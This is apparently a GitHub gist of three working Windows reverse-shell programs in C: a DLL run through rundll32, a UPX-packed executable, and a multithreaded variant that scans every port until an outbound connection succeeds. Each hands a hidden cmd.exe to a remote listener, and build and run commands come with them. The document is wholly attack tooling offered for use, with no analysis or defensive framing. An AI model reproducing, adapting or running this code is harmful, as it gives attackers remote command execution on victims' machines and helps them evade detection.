Last active
July 8, 2021 17:24
-
-
Save FrankSpierings/4f3c4c8c6034f3927e8a63055b1ce8cb to your computer and use it in GitHub Desktop.
Windows Reverse Shell in C
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Compile: | |
docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 && i686-w64-mingw32-gcc -O3 -s shell-dll.c -lws2_32 -shared -o shell.dll" | |
Run: | |
rundll32 shell.dll,main 127.0.0.1 4444 cmd.exe | |
*/ | |
#include <winsock2.h> | |
#include <ws2tcpip.h> | |
#include <stdio.h> | |
int main(HWND hwnd, HINSTANCE hinst, char* cmdline, int nCmdShow) | |
{ | |
int MAXARGS = 3; | |
int argc = 0; | |
char* argv[MAXARGS]; | |
char* token = cmdline; | |
while ((token = strtok(token, " ")) != NULL && argc < MAXARGS) | |
{ | |
argv[argc++] = token; | |
token = NULL; | |
} | |
if (argc < 3) { | |
return -1; | |
} | |
char* ip = argv[0]; | |
unsigned int port = atoi(argv[1]); | |
char* cmd = argv[2]; | |
WSADATA WSAData; | |
SOCKET client; | |
SOCKADDR_IN addr; | |
WSAStartup(MAKEWORD(2, 0), &WSAData); | |
client = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); | |
addr.sin_family = AF_INET; | |
addr.sin_addr.s_addr = inet_addr(ip); | |
addr.sin_port = htons(port); | |
if (connect(client, (SOCKADDR*)& addr, sizeof(addr))) { | |
return -1; | |
} | |
STARTUPINFO si; | |
ZeroMemory(&si, sizeof(si)); | |
si.cb = sizeof(si); | |
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; | |
si.wShowWindow = SW_HIDE; | |
si.hStdInput = (HANDLE)client; | |
si.hStdOutput = (HANDLE)client; | |
si.hStdError = (HANDLE)client; | |
PROCESS_INFORMATION pi; | |
if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { | |
WaitForSingleObject(pi.hProcess, INFINITE); | |
} | |
closesocket(client); | |
WSACleanup(); | |
return 0; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Compile: | |
docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 && i686-w64-mingw32-gcc -O3 -s shell-port-finder.c -lws2_32 -o shell-port-finder.exe" | |
Run: | |
shell-port-finder.exe 127.0.0.1 cmd.exe | |
*/ | |
#include <winsock2.h> | |
#include <process.h> | |
#include <synchapi.h> | |
#include <ws2tcpip.h> | |
#include <stdio.h> | |
#define MAXPORTS 65535 | |
#define TIMEOUT 1 | |
#define THREADS 1000 | |
HANDLE portMutex; | |
unsigned int gport = 0; | |
char *ip; | |
char *cmd; | |
typedef struct JOB{ | |
int nr; | |
} JOB; | |
void p(JOB* job) { | |
unsigned int port; | |
while (TRUE) { | |
WaitForSingleObject(portMutex, INFINITE); | |
if (gport >= MAXPORTS) { | |
printf("[%04d] Reached maxports %05d\n", job->nr, gport); | |
return; | |
} | |
else { | |
port = gport++; | |
} | |
ReleaseMutex(portMutex); | |
SOCKET sock; | |
SOCKADDR_IN addr; | |
unsigned long mode; | |
TIMEVAL tv; | |
tv.tv_sec = TIMEOUT; | |
tv.tv_usec = 0; | |
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); | |
addr.sin_family = AF_INET; | |
addr.sin_addr.s_addr = inet_addr(ip); | |
addr.sin_port = htons(port); | |
mode = 1; | |
ioctlsocket(sock, FIONBIO, &mode); | |
printf("[%04d] Connecting %s:%d\n", job->nr, ip, port); | |
connect(sock, (SOCKADDR*) &addr, sizeof(addr)); | |
mode = 0; | |
ioctlsocket(sock, FIONBIO, &mode); | |
fd_set fd_read, fd_error, fd_write; | |
FD_ZERO(&fd_read); | |
FD_ZERO(&fd_error); | |
FD_ZERO(&fd_write); | |
FD_SET(sock, &fd_read); | |
FD_SET(sock, &fd_error); | |
FD_SET(sock, &fd_write); | |
select(0, &fd_read, &fd_write, &fd_error, &tv); | |
int e = FD_ISSET(sock, &fd_error); | |
int r = FD_ISSET(sock, &fd_read); | |
int w = FD_ISSET(sock, &fd_write); | |
if ((r || w) && !e) { | |
printf("[%04d] Success %s:%d (r:%d,w:%d,e:%d)\n", job->nr, ip, port, r, w, e); | |
STARTUPINFO si; | |
ZeroMemory(&si, sizeof(si)); | |
si.cb = sizeof(si); | |
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; | |
si.wShowWindow = SW_HIDE; | |
si.hStdInput = (HANDLE)sock; | |
si.hStdOutput = (HANDLE)sock; | |
si.hStdError = (HANDLE)sock; | |
PROCESS_INFORMATION pi; | |
if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { | |
WaitForSingleObject(pi.hProcess, INFINITE); | |
} | |
} | |
else if (!r && !w && !e){ | |
printf("[%04d] Timeout (%ds) %s:%d (r:%d,w:%d,e:%d)\n", job->nr, TIMEOUT, ip, port, r, w, e); | |
} | |
else { | |
printf("[%04d] Error %s:%d (r:%d,w:%d,e:%d)\n", job->nr, ip, port, r, w, e); | |
} | |
} | |
} | |
int main(int argc, char* argv[]) | |
{ | |
HANDLE threads[THREADS]; | |
portMutex = CreateMutex( NULL, FALSE, NULL); | |
WSADATA WSAData; | |
WSAStartup(MAKEWORD(2, 0), &WSAData); | |
if (argc < 3) { | |
printf("Missing arguments\n"); | |
return -1; | |
} | |
ip = argv[1]; | |
cmd = argv[2]; | |
for (int i=0; i<THREADS; i++) { | |
struct JOB *job = malloc (sizeof (struct JOB)); | |
job->nr = i; | |
threads[i] = (HANDLE) _beginthread((void(*)(void*)) p, 0, (void*) job); | |
if (threads[i] < 0) { | |
return -1; | |
printf("Failed to allocate a thread \n"); | |
} | |
} | |
for (int i=0; i<THREADS; i++) { | |
WaitForSingleObject(threads[i], INFINITE); | |
} | |
WSACleanup(); | |
return 0; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 upx && i686-w64-mingw32-gcc -O3 -s shell.c -lws2_32 -o shell.exe; upx --ultra-brute shell.exe" | |
#include <winsock2.h> | |
#include <ws2tcpip.h> | |
#include <stdio.h> | |
#pragma comment(lib, "Ws2_32.lib") | |
int main(int argc, char* argv[]) | |
{ | |
if (argc < 4) { | |
printf("Missing arguments\n"); | |
return -1; | |
} | |
char* ip = argv[1]; | |
unsigned int port = atoi(argv[2]); | |
char* cmd = argv[3]; | |
printf("Connecting to %s:%d starting %s\n", ip, port, cmd); | |
WSADATA WSAData; | |
SOCKET client; | |
SOCKADDR_IN addr; | |
WSAStartup(MAKEWORD(2, 0), &WSAData); | |
client = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); | |
addr.sin_family = AF_INET; | |
addr.sin_addr.s_addr = inet_addr(ip); | |
addr.sin_port = htons(port); | |
if (connect(client, (SOCKADDR*)& addr, sizeof(addr))) { | |
printf("Could not connect\n"); | |
return -1; | |
} | |
STARTUPINFO si; | |
ZeroMemory(&si, sizeof(si)); | |
si.cb = sizeof(si); | |
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; | |
si.wShowWindow = SW_HIDE; | |
si.hStdInput = (HANDLE)client; | |
si.hStdOutput = (HANDLE)client; | |
si.hStdError = (HANDLE)client; | |
PROCESS_INFORMATION pi; | |
if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { | |
WaitForSingleObject(pi.hProcess, INFINITE); | |
} | |
closesocket(client); | |
WSACleanup(); | |
printf("Done\n"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The port finder version still sucks, since it waits for the full 20 second timeout.... work in progress